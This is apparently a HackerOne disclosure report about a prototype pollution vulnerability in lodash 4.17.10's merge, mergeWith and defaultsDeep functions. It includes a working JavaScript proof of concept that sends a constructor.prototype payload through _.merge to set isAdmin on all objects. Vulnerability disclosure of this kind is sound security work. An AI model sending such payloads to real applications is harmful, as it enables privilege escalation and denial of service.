Node.js third-party modules: Prototype pollution attack (lodash / constructor.prototype)

ID H1:380873
Type hackerone
Reporter asgerf
Modified 2018-10-30T12:59:31


I would like to report a prototype pollution vulnerability in lodash. It allows an attacker to inject properties on Object.prototype.


module name: lodash version: 4.17.10 npm page:

Module Description

The Lodash library exported as Node.js modules.

Module Stats

12M downloads in the last week


Vulnerability Description

This is a variant of this vulnerability:

The functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {constructor: {prototype: {...}}} and send it to _.merge.

javascript var _ = require('lodash'); var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'); _.merge({}, payload); console.log({}.isAdmin); // true

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]


Denial of service, possibly more depending on the application. See